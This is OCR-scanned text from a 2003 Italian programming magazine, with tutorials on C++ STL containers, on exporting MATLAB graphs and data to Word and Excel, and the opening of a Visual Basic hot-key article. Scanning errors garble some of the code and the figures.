ri "classico". Come già accennato in precedenza, 
per accedere agli elementi inseriti in un conteni- 
tore della STL è buona norma servirsi di partico- 
lari oggetti, gli iteratori, che hanno lo scopo di 
generalizzare la struttura di questo tipo di opera- 
zioni. Per i vettori tuttavia si può ricorrere a qual- 
cosa di più immediato. In questo caso infatti è 
stato opportunamente ridefinito dai progettisti il 
comportamento dell'operatore "[]" (parentesi 
quadre), per cui è possibile accedere al contenu- 
to di una particolare cella del vettore in un modo 
sintatticamente identico a quello degli array 
standard. 

Se volessimo ad esempio stampare il contenuto 
del vettore creato in precedenza potremmo scri- 
vere: 



for (int i=0;i<i_primi_10.size();i++) 

cout << Lprimi_10[i] << " "; 

Che stamperà appunto: 

12345678910 

Da notare l'utilizzo di una funzione molto utile, 
cioè sizeQ. Essa, come è facile immaginarsi, resti- 
tuisce la dimensione del vettore, cioè il numero 
di elementi contenuti, e può essere molto como- 
da nei casi analoghi al precedente, cioè laddove 
si è in presenza di cicli e del costrutto for. Rac- 
comandiamo di evitare però l'(ab)uso dell'opera- 
tore " [] " in porzioni di codice nei quali non si è 
perfettamente sicuri di cosa il vettore possa con- 
tenere in quanto l'utilizzo della scrittura: 

mio_vettore[10]; 

su un vettore di 5 elementi potrebbe avere risul- 




1 



C++ T CORSI BASE 




tati imprevisti. Inoltre l'operatore "[]" funziona 
su vector e deque, ma non sulle list, perciò: atten- 
zione! 



INSIEMI ASSOCIATIVI 

La seconda categoria di contenitori è quella 
degli insiemi associativi. Fanno parte di questo 
gruppo le classi set, map, multìset e multìmap. La 
classe largamente più utilizzata è set, che imple- 
menta il concetto matematico di insieme. Oltre 
alla peculiarità di non avere un ordinamento 
interno tra elementi, set è caratterizzato dall'im- 
possibilità di inserire più volte lo stesso elemen- 
to. Al contrario di vector infatti, dove ad esempio 
l'elemento "1" può essere inserito contempora- 
neamente in posizione 2, 5, 90 ecc., ogni tentati- 
vo di inserire più istanze di oggetti uguali fallirà. 
Questo meccanismo è completamente traspa- 
rente all'utente della classe e viene gestito dalla 
funzione inserto, che è quella dedicata all'inseri- 
mento degli elementi nel contenitore. Per chiari- 
re meglio il concetto analizziamo il seguente 
codice: 



#include <iostream> 


#include <set> 


#include <string> 


using namespace std; 


//... all'interno del codice... 


//proviamo a inserire più volte lo 


stesso 


elemento 




set<char> insieme_char; 


for (int k=0;k<100;k+ + ) { 


char e = '!'; 


insieme_char.insert(c); 


} 


cout << "Ci sono " << insieme_ 
" eie 


:har.size() 
menti nell 


<< 

insieme\n"; 



Abbiamo eseguito per ben 100 volte l'operazione 
di inserimento del carattere "!" e tutto è filato 
liscio senza intoppi. Tuttavia la stampa a scher- 
mo sarà: 

Ci sono 1 elementi nell'insieme 

Ovviamente avere più istanze di oggetti uguali 
all'interno di un contenitore associativo può 
essere comunque utile per alcune applicazioni. 
Proprio a questo scopo è stata creata la classe 
multìset, del tutto analoga a set, con la differenza 
che accetta anche istanze multiple. Sostituendo 
la parola "multiset" al posto di "set" nello stral- 
cio di codice precedente, compilando ed ese- 
guendo il tutto, si otterrebbe la stampa: 

Ci sono 100 elementi nell'insieme 





Discorso assolutamente analogo vale nella rela- 
zione tra map e multimap. 



CONCLUSIONI 

L'utilizzo di contenitori STL nella normale pro- 
grammazione in C++ dovrebbe essere la norma 
per chi ha l'onore/onere di lavorare scrivendo 
codice. Oltre a risparmiare un bel po' di tempo 
in implementazioni "volanti" di contenitori ad 
hoc, infatti, ci si può basare sul rassicurante fatto 
di stare usando delle librerie praticamente esen- 
ti da bug (il codice sorgente è pubblico) e che 
oltretutto sfruttano i più potenti algoritmi di 
gestione delle risorse, garantendo prestazioni 
elevate. Nella prossima puntata parleremo di 
come rendere possibile l'accesso ai vari elemen- 
ti inseriti in un contenitore tramite gli iteratori. 
Una separazione così netta tra inserimento e 
estrazione di valori potrebbe sembrare al neofita 
una cosa abbastanza astrusa e inutilmente diffi- 
cile. Vedremo al contrario quali sono le logiche 
che hanno portato a questa particolare progetta- 
zione e come, a fronte di una difficoltà di pro- 
grammazione leggermente superiore, si possa 
d'altra parte beneficiare di grossi vantaggi in ter- 
mini di potenza, flessibilità e modificabilità del 
codice. Non mancate! 

Alfredo Marroccelli 
Marco Del Gobbo 



BIBLIOGRAFIA 



LEZIONI DI C++ 

Un testo che rende particolarmente agevole l'apprendimento dei fonda- 
menti della programmazione e del codice C++. 

L'autore John Smiley, presidente della Smiley and Associates, un'azienda 
di consulenza informatica, è autore di altri otto libri e, con Lezioni di C++, 
ha pensato bene di fornire un testo adatto ad un lettore neofita, che non 
ha nessuna esperienza in campo di programmazione e che comunque si 
appresta a voler apprendere un linguaggio come il C++ che, sicuramente, 
non si annovera tra i linguaggi più semplici nell'apprendimento. Gli argo- 
menti, secondo lo stile dell'autore e ormai divenuto un suo standard, 
sono trattati in modo semplice e "divertente". Tra gli argomenti trattati: 
imparare i concetti della programmazione applicabili a più linguaggi; svi- 
luppare delle competenze in C++ per il mondo reale e utilizzare la pro- 
grammazione a oggetti; lavorare con le variabili, le costanti e i dati tipiz- 
zati del C++. 

Difficoltà: Medio - Alta 
Autore: J. Smiley 
Editore: McGraw-Hill 

http://www.informatica.mcgraw-hill.it 

ISBN: 88-386-4325-3 

Anno di pub.: 2003 

Lingua: Italiano 

Pagine: 573 

Prezzo: € 32,00 



Se hai suggerimenti, 
critiche, dubbi o 
perplessità sugli 
argomenti trattati e 
vuoi proporle agli 
autori puoi scrivere 
agli indirizzi: 

alfredo.marroccelli® 
ioprogrammo.it e 
marco.delqobbo© 
ioproqrammo.it 

Questo contribuirà 
sicuramente a 
migliorare il lavoro di 
stesura delle prossime 
puntate. 




Dicembre 2003/103 ► 




CORSI BASE T 



I 



Matlab 




L'interazione con Microsoft Office 



MATLAB: 
mostrare i risultati 

Nei numeri precedenti abbiamo visto quali sono le funzionalità che 
offre l'ambiente per lo sviluppo di algoritmi matematici efficaci. 
Questa volta analizziamo la presentazione dei risultati. 




□ CD □ WEB 

Watlab_75.zip 



«^—==^.-..,„.,..- ..,..„■„:..,* 




GLOSSARIO 



LOAD 

Il comando load ha 

bisogno di specificare 

il parametro "-mat" 

per riconoscere 

correttamente il file 

come un archivio 

".MAT". 



Innumerevoli volte, dopo aver speso molto 
tempo nella realizzazione delle elaborazioni 
che ci sono necessarie, ci accorgiamo di 
avere ancora un passo da compiere. La docu- 
mentazione del lavoro o la presentazione dei ri- 
sultati raggiunti o, ancora, la stesura di un do- 
cumento scientifico quale una pubblicazione. 
Queste attività assorbono le nostre energie nel- 
la sezione terminale del nostro lavoro e solita- 
mente sono considerate noiose e particolar- 
mente faticose. Si tratta di un compito da non 
sottovalutare: la qualità che viene percepita è 
molte volte dipendente dalla qualità della pre- 
sentazione dei dati. 

Questa deve generare interesse, essere leggibile 
e semplice da seguire. 

Al contrario, ad una documentazione di scarsa 
qualità non viene prestata sufficiente attenzio- 
ne e noi rischiamo di avere fatto un eccellente 
lavoro tecnico senza vederci riconosciuta la sua 
efficacia ed utilità. Qualità che in parte dipende 
dalla semplicità e funzionalità d'uso degli stru- 
menti di reporting. Qui vedremo come sia pos- 
sibile trasferire in maniera semplice e veloce i 
nostri dati verso word processor, creatori di 
presentazione e tutti quegli ambienti che tradi- 
zionalmente sono utilizzati per questi scopi. 



D^0 



\ k ? / & JS> 



Fig. 1: La figura mostra la Toolbar standard 
dell'ambiente IDE di MATLAB. 

Vedremo come creare grafici che possiedano 
un maggiore tasso di informazioni al loro inter- 
no e che possano essere interattivamente mo- 
dificati in modo da raggiungere il contenuto 
necessario alla presentazione dei dati. Inoltre, 
vedremo come far transitare le informazioni 
verso MS Word e verso MS Excel. 



GRAFICA 
(ANNOTAZIONI, 
STATISTICHE ED 
INTERPOLAZIONE) 

Sappiamo oramai da qualche tempo che in MA- 
TLAB è possibile creare grafici 2D e 3D con sem- 
plicità. Abbiamo anche visto di sfuggita come 
potremmo rendere più attraenti queste rappre- 
sentazioni. Immaginiamo ora di possedere dei 
dati sull'andamento dell'indice della borsa di 
Milano (troverete il file "mib.dat" sul CD allegato 
alla rivista) : 

>> load mib.dat -mat 
>> figure 

>> plot(mib(:,l), mib(i,2)); 

>> xt = get(gca, 'xticklabel'); 
>> xt_n = str2num(xt); 

>> xt_nn = xt_n * 100000; 

>> new_tick = datestr(xt_nn); 

>> set(gca, 'xticklabel', num2str(new_tick)); 

>> set(gca, 'units', 'norm', 'pos', [0.05 0.05 0.9 0.9]); 

>> title('MIB 30'); 

Lo scopo che ci prefiggiamo è quello di creare un 
grafico che mostri sia l'andamento dell'indice in- 
sieme con altre informazioni che aiutino chi 
guarda a comprendere meglio il contenuto dei 
dati. Più praticamente, immaginiamo di voler fa- 
re alcune cose: mostrare quali siano gli eventi ca- 
ratteristici di cui tenere conto per interpretare 
l'andamento, tracciare una linea di tendenza, vi- 
sualizzare un'approssimazione matematica a 
partire da un semplice modello, cambiare alcuni 
colori di default. Con questo compito in mente ci 
accingiamo a modificare il nostro grafico. Avrete 
notato che sulle figure MATLAB compare di de- 
fault una barra di strumenti identica a quella di 
Fig. 1. Alcuni di questi tasti ci sono familiari, altri 



Matlab 



T CORSI BASE 



sono di uso intuitivo. Noi ci soffermiamo su quel- 
li che risiedono all'incirca nel centro della barra. 
Essi sono quelli usati per le annotazioni più sem- 
plici e veloci. Cominciamo premendo il tasto che 
riporta una freccia che punta in alto a destra. 
Con questa possiamo disegnare una freccia sem- 
plicemente cliccando in un punto del grafico che 
debba rappresentare la coda e rilasciando il tasto 
sinistro del mouse nel punto in cui desideriamo 
che vi sia la punta. Possiamo ripetere questa ope- 
razione quante volte desideriamo così da popo- 
lare il grafico con tutti gli indicatori necessari. 
Il passo successivo potrebbe essere quello di as- 
sociare alle frecce che abbiamo tracciato delle di- 
dascalie utili ad interpretare il significato della 
freccia stessa. Per fare questo usiamo il tasto che 
riporta una A maiuscola e facciamo un solo clic 
con il tasto sinistro del mouse nel punto in cui 
desideriamo vedere il testo. A questo punto digi- 
tiamo la stringa di testo che desideriamo. Fatta 
questa operazione possiamo sempre spostare 
frecce e testo in modo che assumano le posizioni 
corrette. Ora il nostro grafico è annotato in ma- 
niera appropriata. Immaginiamo di voler ag- 
giungere ai dati un'approssimazione polinomia- 
le e una regressione lineare. Esiste un menu inti- 
tolato "Tools" sulla finestra del nostro grafico. Il 
penultimo dei suoi item si chiama "Basic Fitting". 
Premendolo compare un'interfaccia grafica che 
ci consente di eseguire in pochi semplici passi 
quanto abbiamo appena detto. Se mettiamo un 
check su "Linear" e "4th degree" vediamo com- 
parire automaticamente i grafici delle approssi- 
mazioni che desideriamo. Un altro check marca- 
to "Show equations" ci consente di veder compa- 
rire le equazioni delle approssimazioni appena 
selezionate. 

Un altro strumento che ci fornisce dati utili risie- 
de sempre sotto "Tools" e si chiama "Basic 
Statistics". Con questo è possibile vedere compa- 
rire sul grafico i riferimenti ad alcuni semplici 
dati. Proviamo a mettere un check sulla coordi- 
nata Y di "min", "max" e "mean". Il risultato di 
questa operazione è la comparsa sul grafico di tre 
linee: una relativa all'ordinata del punto in cui il 
valore è minimo, una per il massimo ed una sul 
livello medio dei dati presenti. Ora dobbiamo 
modificare alcuni colori che non sono coerenti 
con ipotetiche linee guida per la rappresentazio- 
ne dei dati in questione. Immaginiamo che l'in- 
tera figura debba essere bianca e che i dati deb- 
bano essere rappresentati in nero piuttosto che 
in blu. Andiamo al menu "Edit" e lanciamo l'ap- 
plicazione ausiliaria chiamata "Figure proper- 
ties...". A questo punto vediamo comparire una 
finestra su cui è possibile cambiare il colore di 
sfondo della figura; poniamolo a "White" e chiu- 
diamo la finestra. Per variare il colore dei dati 



dobbiamo fare clic sulla barra degli strumenti 
sulla freccia rivolta in alto a sinistra. A questo 
punto siamo in grado di selezionare un oggetto 
qualsiasi sul grafico. Selezioniamo così i dati e 
sempre sotto il menu "Edit" lanciamo "Current 
Object Properties...". La finestra che si apre è 
analoga a quella riguardante le proprietà grafi- 
che della finestra e anche qui troveremo un pun- 
to in cui è possibile specificare il colore della li- 
nea dei dati. Lo poniamo a "Black", chiudiamo 
tutte le finestre ausiliarie e possiamo dire di ave- 
re terminato il nostro lavoro di maquillage del 
grafico. Il risultato di questo processo lo si può' 
vedere in Fig. 2. 




5.5 
5 


x10 4 










MIB30 






































«htans 


" 












ì\ e 








4.5 










Boll, ■ 


elativa 


~* w 


y 


u 




ima"» 




3.5 


~y = 6.3*x - 4. 


e -HD06 






hb\ 




# 




V\ 
i v Vi 








______ " 




3 


y = 4.46-003* 


''- 0.013";.; 


+ 1.46-KD04-X 


- e.S8iO0S*x - 1.33+015 


r \j 










\ „ 




2.5 
2 
1.5 


^ . 










guer 


a in Afganislan 


„< 


,, 


Vy ; 














25- Ju 


1994 


07- De 


e- 1995 


20-Apr-1997 


Ù'i-Sep-V- 




1 5- J a n-2000 




29-May-2001 


11-OH-2002 23-Fe 


-2004 



Fig. 2: Grafico annotato e modificato. 



ESPORTAZIONE 
GRAFICI 

Un grafico che abbia raggiunto il livello di conte- 
nuto sufficiente ha come normale destinazione 
un documento. Il primo passo da compiere è 
quello di "estrarlo" dall'ambiente di partenza. 
Qui abbiamo molte opzioni ma le due più sem- 
plici sono quella di eseguire una copia o un'e- 
sportazione. La copia del grafico viene eseguita 
dall'item di menu che si raggiunge per mezzo di 
"Edit / Copy" ed esegue una semplice copia de- 
stinata ad essere incollata nel documento di de- 
stinazione. La seconda possibilità la si raggiunge 
per mezzo di "File / Export...". In questo caso, vi 
è la possibilità di salvare un file nel formato gra- 
fico desiderato. Sono disponibili i più diffusi for- 
mati e con questa opzione abbiamo la possibilità 
di creare un eccellente veicolo per il riutilizzo 
dell'informazione in differenti documenti o per 
la sua trasmissione. 



L'APPLICAZIONE 

AUSILIARIA 

NOTEBOOK 

Il notebook è una delle applicazioni ausiliarie di 
MATLAB. Essa consente un'interazione diretta 
tra MATLAB e MS Word. Possiamo creare un do- 




GLOSSARIO 



XTICK LABEL 

XTickLabel è una 
proprietà che contiene 
le etichette dell'asse 
X. 




CORSI BASE T 



I 



Matlab 






GLOSSARIO 



RNGHANDLE 

RngHandle è la 

variabile che contiene 

l'handle della singola 

cella in Excel. 



ACTXSERVER 

Actxserver è la 

funzione che attiva il 

canale ActiveX. Essa 

crea un oggetto 

gestibile attraverso i 

valori delle sue 

proprietà'. 



cumento Word che contenga testo, comandi 
MATLAB e il risultato dei calcoli. Per le semplici 
istruzioni di installazione fate riferimento ad un 
manuale che ha per titolo "Using MATLAB" 
(using_ml.pdf) citato nella bibliografia. Ora ci 
concentreremo invece sul modo che dobbiamo 
usare in Word per interagire con MATLAB. 
Dobbiamo immaginarci di avere Word come 
front-end e di manovrare MATLAB a partire da 
questa posizione. In realtà le operazioni sono 
semplicissime. Per iniziare a lavorare su un do- 
cumento di tipo "notebook" non dobbiamo fare 
altro che digitare in MATLAB: 

>> notebook 

Questo comando causa l'apertura di un nuovo 
documento Word di tipo M-book. Si tratta di un 
tipo di documento che possiede delle macro che 
consentono una semplice gestione del docu- 
mento e dell'interazione con MATLAB. Infatti, in 
Word, vediamo comparire alcuni oggetti che 
non sono standard in questo ambiente. 
Scorriamo un nuovo menu chiamato "Note- 
book" e nel menu "File" esiste ora un nuovo item 
chiamato "New M-book" che ha il compito di 
creare un nuovo documento vuoto di tipo M- 
book (riferitevi al manuale citato per scoprire i 
dettagli d'uso degli item del menu Notebook). 
Vediamo ora come si fa ad interagire con MA- 
TLAB. Il principio di utilizzo è lo stesso della 
Command Window; vale a dire che in Word usia- 
mo la stessa sintassi alla quale siamo abituati da 
tempo. È sufficiente possedere un modo sempli- 
ce per imporre a Word di inviare quello che ab- 
biamo scritto verso MATLAB, imporgli il calcolo 
e raccogliere il risultato per inserirlo nella posi- 
zione appropriata all'interno del documento. 
Tutto questo lo si ottiene per mezzo dell'uso di 
CTRL + ENTER. Se proviamo a digitare un sem- 



,i:: _ 

fretta = [periodoll) : .5 iperico! en*)] ] 

[x_retta = 

°2™D1C!] 
V^.cl^^au^a^aar^in.au,*! 

fretta = *(1| *x_ retta + x(2>] 

fretta = 

°3™57] 


,_ 


„„ ,„» ,„„.„ 










2 


--— 




6 '930.5 1997 1997.5 1398 1998J 1999 19S9.5 2000 20005 2D 





plice comando MATLAB in Word e a farlo segui- 
re da CTRL + ENTER vedremo cambiare il suo 
colore e formato e quindi produrre direttamente 
nel documento il risultato del calcolo. Per rende- 
re più chiaro il processo proviamo a reimple- 
mentare in Word un esempio che è stato pubbli- 
cato in un dei primi numeri in cui ci siamo oc- 
cupati di MATLAB. Il risultato finale di questa 
operazione lo trovate nel CD allegato alla rivista 
nel file chiamato " The MATLAB Notebook vl.doc" e 
nella Fig. 3 potete apprezzare una parte del ri- 
sultato finale. Ovviamente, qui ci troviamo di 
fronte ad un documento che non ha subito un'a- 
zione di formattazione. Lo troverete quindi ab- 
bastanza rozzo. Il vantaggio che abbiamo è quel- 
lo di possedere una documentazione completa 
della nostra sessione di lavoro all'interno di un 
word processor, il quale ci consente tutte quelle 
operazioni di formattazione che sono tipiche di 
questo genere di ambienti. Possiamo sbarazzar- 
ci degli output ingombranti o inutili, cancellare i 
comandi MATLAB che li hanno generati, possia- 
mo ridimensionare i grafici, aggiungere testo, 
ecc. 



EXPORT DATI 
VERSO EXCEL 

Un ulteriore modo di operare è quello che pren- 
de origine da MATLAB stesso. Alcune volte ci è 
comodo fare in modo che sia MATLAB a coman- 
dare il flusso di dati. Nell'esempio precedente 
abbiamo visto come sia possibile considerare 
Word la propria interfaccia e usare MATLAB co- 
me un motore di calcolo che, in background, 
esegue operazioni anche complesse per fornire 
risultati che abbiano come destinazione un do- 
cumento. Succede che vi sia la necessità di com- 
portarsi in una maniera completamente oppo- 
sta. Questa volta lavoreremo in MATLAB e usere- 
mo MS Excel come destinazione dei nostri dati. 
Per fare questo, è necessario spendere due paro- 
le su quali siano in MS Windows i meccanismi 
standard usati per il trasferimento dei dati. 
Esistono dei "canali" che sfruttano una tecnolo- 
gia chiamata ActiveX. Per mezzo di questa è pos- 
sibile creare dei tunnel attraverso i quali far flui- 
re le informazioni. In MATLAB è possibile aprire 
questi canali chiedendo che all'altro capo vi sia 
una ben precisa applicazione, Excel nel nostro 
caso. I seguenti comandi sono raccolti nel file 
"report.m". 



Fig. 3: MATLAB Notebook. 



% Lancia 


l'applicazione 


Excel 




ExHandle 


= actxserver( 


Excel 


Application'); 


% La rende visibile 


ExHandle 


Visible = 1; 







Matlab 



T CORSI BASE 



Il primo comando lancia l'applicazione MS Excel 
e apre un canale di comunicazione ActiveX con 
essa. Il secondo la rende visibile all'utilizzatore. 

% Apertura del file 
invoke(ExHandle.Workbook, 'open', 'D:\Articles\ 

ioProgrammo\2003_12_Dicembre\Report.xls'); 



il dato desiderato. Con questo meccanismo mol- 
to semplice possiamo spostare i dati, frutto dei 
calcoli in MATLAB, verso un'applicazione speci- 
fica. 

% Chiusura della connessione ad Excel 
delete(ExHandle); 




Il comando "invoke" permette di utilizzare i me- 
todi dell'oggetto aperto e utilizzare le API esposte 
da tale oggetto. Questo significa soltanto che 
possiamo accedere ad alcune funzionalità pro- 
prie di MS Excel per indurre l'esecuzione delle 
azioni che ci interessano (nel caso specifico so- 
stituite il nome della directory con quello in cui 
risiederà il vostro file Excel). 

% Legge la collezione di fogli 

SheetCollect = ExHandle.ActiveWorkBook.Sheets; 

% Sceglie un folgio dall'insieme dei fogli 

SheetNo = 'Fogliol'; 

SheetObj = get(SheetCollect, 'Item', SheetNo); 

In questo modo ci siamo costruiti l'handle del fo- 
glio Excel che ci interessa e sul quale andremo a 
riversare i dati. 

% Copiatura dei dati sul foglio Excel 

% Date 

for k = l:length(date) 

Range = ['a', num2str(k + 1)]; 

RngHandle = get(SheetObj, 'Range', Range); 

RngHandle.Value = mib(k, 1); 
end 

Range = 'al'; 

RngHandle = get(SheetObj, 'Range', Range); 
RngHandle.Value = 'Data'; 

% Valori di MIB30 

for k = l:length(indice) 

Range = ['b', num2str(k + 1)]; 

RngHandle = get(SheetObj, 'Range', Range); 

RngHandle.Value = mib(k, 2); 
end 

Range = 'bl'; 

RngHandle = get(SheetObj, 'Range', Range); 
RngHandle.Value = 'Valori'; 

% Valor medio del MIB30 

Range = 'c2'; 

RngHandle = get(SheetObj, 'Range', Range); 

RngHandle.Value = mean(mib(:, 2)); 

Range = 'ci'; 

RngHandle = get(SheetObj, 'Range', Range); 

RngHandle.Value = 'Media dei valori'; 

I due cicli scorrono i dati in MATLAB e li copiano 
nelle apposite celle in Excel. Ad ogni passo viene 
costruito l'indirizzo della cella, viene reperito 
l'handle della cella stessa e quindi viene copiato 



La connessione ActiveX viene chiusa con questo 
comando che elimina dalla memoria l'handle 
corrispondente. Il risultato finale dell'elabora- 
zione lo si può apprezzare in Fig 4. 



: [§] File Modifica Visuali—a Inserisci Formato Strumenti Dati Finestra ? - S X 


! 51 "Ìiifa£a^a^^0 l feó2| , rtJ paridi ™ n rnaoìrlche. . . Termina revisione, . . , 


Arisi 


• n • G C S s n B | 9 € % ■ M a i 1 ■ * • A . ;> 


A1 


A Dala 




A 


B 


C 


D I 


1 


Data 


Valori Media dei valori 


2 


731864 


25553 


27811.5 




3 


731863 


25671 






4 


731862 


25348 






5 


731861 


25311 






6 


731860 


25349 






7 


731857 


25526 






8 


731856 


25037 






9 


731855 


25060 






10 


731854 


24760 






11 


731853 


25128 






-IO 


V5HBRn 1R1RR 


.M 


I. < . ., '.K.^!t>i ,. --.:; M| >|| 


Pronto 



Fig. 4: Reporting in Excel a partire da dati MATLAB. 



CONCLUSIONI 

In questo numero abbiamo visto come creare in 
maniera interattiva grafici con annotazioni e ab- 
biamo imparato ad esportarli. Inoltre, abbiamo 
visto altre due tecniche per interagire con appli- 
cazioni MS Office. Nel primo caso abbiamo con- 
siderato Word come server o motore di calcolo, 
mentre nel secondo MATLAB era un client che ri- 
chiedeva servizi ad MS Excel che fungeva come 
semplice serbatoio dei risultati di un calcolo. 
Questo pezzo è l'ultimo della serie su MATLAB 
apparsa su Io Programmo negli ultimi mesi. 
Saluto tutti i lettori che hanno avuto la benevo- 
lenza e la pazienza di seguire il susseguirsi degli 
argomenti. 

Per maggiori informazioni sui prodotti della fa- 
miglia MATLAB potete consultare il sito di The 
MathWorks (www.mathworks.it). Suggerisco a 
tutti di guardare una porzione del sito web chia- 
mato "MATLAB Central" {www.mathworks.com/ 
matlahcentrall) . 

Esso riporta innumerevoli esempi d'uso di MA- 
TLAB in una varietà molto vasta di discipline tec- 
nico scientifiche. 

Fabrizio Sara 




"Getting Started with 
MATLAB" 

http://www.mathworks.com/ 
access/helpdesk/help/ 
pdf doc/matlab/ 
qetstart.pdf 

"Using MATLAB" 

http://www.mathworks.com/ 
access/helpdesk/help/ 
pdf doc/matlab/ 
using mi. pdf 

"Using MATLAB 
Graphics" 

http://www.mathworks.com/ 
access/helpdesk/help/ 
pdf doc/matlab/qraphq.pdf 




CORSI AVANZATI T 



I 



Visual Basic 




Gestione avanzata dell'interfaccia utente 



Un "acceleratore" 
di tastiere in VB 

In questo articolo descriveremo come implementare un "acceleratore' 
di tastiere utilizzando il controllo hotkey di Windows: un'occasione 
per semplificare ed accelerare le operazioni degli utenti. 




ESADECIMALI 

In Visual Basic è possi- 
bile rappresentare i 
numeri esadecimali 
grazie ai simboli &H, 
per esempio con la 
seguente dichiarazione 



Public const Val = &H1A 

impostiamo la costan- 
te Val sul valore esa- 
decimale 1A (decimale 
26). 



•"^V uesto è primo di due appuntamenti che 
I I dedicheremo alle hot key. Una hot key è una 
V.^r combinazione di tasti che l'utente seleziona 
per OTViare rapidamente determinate azioni. Le hot 
key, però, non bisogna confonderle con le scorcia- 
toie di tastiera per applicazioni, anch'esse delle 
combinazioni di tasti ma utilizzabili soltanto a livel- 
lo di applicazione e quando queste sono attive. Per 
esempio a livello di applicazione le combinazioni di 
tasti Ctrl+C e Ctrl+V permettono, rispettivamente, di 
copiare ed incollare un testo; mentre, a livello di 
sistema, la combinazione di tasti Ctrl+Alt+Canc 
(croce e delizia degli utenti Windows), a seconda del 
sistema operativo, mostra la finestra Protezione di 
Windows o la Task Manager. Le prime due combina- 
zioni sicuramente sono delle scorciatoie di tastiere 
per applicazioni, la terza, invece, può essere una hot 
key. In generale, dunque, a livello di applicazione o 
di sistema i tasti di scelta rapida servono per miglio- 
rare l'interazione con l'utente per questo conviene 
conoscerle e saperle gestire a livello di programma- 
zione. Visual Basic non fornisce un controllo nativo 
per la gestione delle hot key, gestione che si può rea- 
lizzare con l'ausilio del controllo HotKey, fornito 
dalla libreria ComCtrl32.dll, e di alcuni elementi 
dell'API opportunamente collegati attraverso delle 
funzioni di Callback. Questo ci fa capire che gli argo- 
menti che affronteremo spaziano dalle API alle tec- 
niche di programmazione avanzate (callback e sub- 
classing). In particolare, in questo primo appunta- 
mento, presenteremo le caratteristiche principali 
delle hot key e vedremo come utilizzarle in un pro- 
getto Visual Basic. Per far ciò implementeremo 
un'applicazione che mostra lo stato della tastiera e 
viene abilitata attraverso delle hot key. Introdur- 
remo, inoltre, l'applicazione "acceleratore di tastie- 
ra" che permette all'utente di definire delle hot key 
ed associarle a dei file EXE. L'acceleratore di tastiera 
lo completeremo nel successivo appuntamento. 



HOT KEY E 
VIRTUAL KEY 

In generale, una hot key è formata da due parti: un 
modificatere (modifier) e un tasto (Key). Il modifier 
è costituito da una combinazione dei seguenti tasti: 
Ctrl, Shift e Alt. L'altro tasto, invece, può essere un 
qualsiasi tasto tranne Esc, Barra spaziatrice e Tab. 
In realtà quando si definiscono le hot key, attraverso 
le funzioni dell'API, non si parla di tasti (Key) ma di 
tasti virtuali (virtual-key). I virtual-key servono ad 
identificare, in modo univoco, i tasti indipendente- 
mente dall'Hardware e dal Software. Il set di virtual- 
key è composto da 256 codici di un byte. Come per 
codice ANSI e ASCII anche per i virtual-key è possi- 
bile recuperare su Internet o nella guida in linea di 
Visual Basic la tabella che racchiude tutti i codici; 
nella tabella 1 riportiamo i codici dei tasti che utiliz- 
zeremo nell'esempio. Le hot key possono essere di 
due tipi: hot key globali e thread-specific hot key. 
Il tipo globale permette di attivare alcune caratteri- 
stiche delle Windows, l'altro tipo invece può essere 
associato ai thread dell'applicazione. 



f 

Virtual Key 


Esadecimale 


Decimale 


Tasto 


VK_NUMLOCK 


90 


144 


Num Lock 


VK_SCROLL 


91 


145 


Scroll Lock 


VK_CAPITAL 


14 


20 


Caps Lock 


VKA 


41 


65 


A 


.Tabella 1 - Alcuni Virtual Key 



CONTROLLARE 
LO STATO 
DELLA TASTIERA 

Per familiarizzare con i tasti virtuali creiamo un 
semplice programma che permette di stabilire lo 
stato dei seguenti tasti: Caps Lock, Scroll Lock, Num 
Lock. Per fare questo possiamo utilizzare la funzione 



Visual Basic 



T CORSI AVANZATI 



GetKeyState che ha la seguente sintassi. 

Public Declare Function GetKeyState Lib "user32" _ 
(ByVal nVirtKey As Long) As Integer 

Essa mostra lo stato del Virtual Key specificato in 
VirtKey, lo stato può essere Up (non premuto), Down 
(premuto) e Toggle. Quest'ultimo è usato per stabili- 
re lo stato di tasti come Caps Lock, cioè per stabilire 
se Caps Lock è attivato o disattivato. Queste infor- 
mazioni sono contenute nel bit più alto e più basso 
del valore restituito dalla funzione. In particolare il 
bit più basso fornisce lo stato Toggle che è utile per il 
nostro esempio. Per selezionare questo bit dobbia- 
mo utilizzare l'operatore AND, in particolare dob- 
biamo fare YAND del valore fornito dalla funzione 
con un numero che contiene un 1 nell'ultimo bit 
(00000001). 



1 « Frmronabilil azione 


-|n|x| 












|"" Nunn Lock |"" Scroll Lock 


|7 Caps Lock 















Fig. 1: Il forni che mostra lo stato dei tasti Lock. 

Ora vediamo come utilizzare la funzione GetKey- 
State. Create un nuovo progetto EXE e sul form inse- 
rite un Timer, un frame, e tre CheckBox come in Fig. 
1. 1 CheckBox nominateli: CheckNum, CheckScrolle 
CheckCaps. Nel form, oltre a dichiarare la funzione 
GetKeyState, inserite le seguenti costanti che sono i 
codici dei Virtual Key da controllare: 



Public 


Const VK_ 


_NUMLOCK 


= &H90 


Public 


Const VK_ 


_SCROLL = 


&H91 


Public 


Const VK 


.CAPITAL = 


&H14 



Nel Timerl inserite il seguente codice. 

Private Sub Timerl_Timer() 
Dim key As Integer 
key = GetKeyState(VK_NUMLOCK) 
If key And 1 Then 

CheckNum. Value = 1 
Else 

CheckNum. Value = 

End If 

key = GetKeyState(VK_SCROLL) 

If key And 1 Then 

CheckScroll. Value = 1 
Else 

CheckScroll. Value = 

End If 

key = GetKeyState(VK_CAPITAL) 
If key And 1 Then 



CheckCaps. Value = 1 

Else 

CheckCaps. Value = 

End If 

End Sub 

Dopo aver avviato la GetKeyState, in base al risultato 
di "Key AND 1 " impostiamo il valore dei CheckBox. 
Naturalmente prima di avviare progetto dovete 
impostare, adeguatamente, il valore della proprietà 
Interval del Timer. Un altro esempio interessante 
potrebbe essere l'impostazione dello stato dei tasti 
da programma, sempre con l'ausilio di funzioni 
dell'API. Ora, invece, occupiamoci di come associa- 
re una hot key globale al Form. 



LE HOT KEY GLOBALI 

Prima di descrivere gli elementi dell'API che utilizze- 
remo nell'esempio, facciamo alcune precisazioni 
sulle hot key globali. Ad una finestra è possibile asso- 
ciare una sola hot key globale. Una hot key non può 
essere associata a una child Window, come per 
esempio nel caso dei children della MDI Form. Se 
una finestra ha già associata una hot key, una nuova 
hot key sostituirà quella precedente. Quando la stes- 
sa hot key è associata a più finestre non è possibile 
stabilire quale finestre verrà attivata. 



COME IMPOSTARE 
LE HOT KEY GLOBALI 

Ora descriviamo sommariamente come agiscono le 
hot key globali e quali funzioni dobbiamo usare per 
gestirle. Come tra poco costateremo alla base del 
funzionamento (definizione ed attivazione) delle 
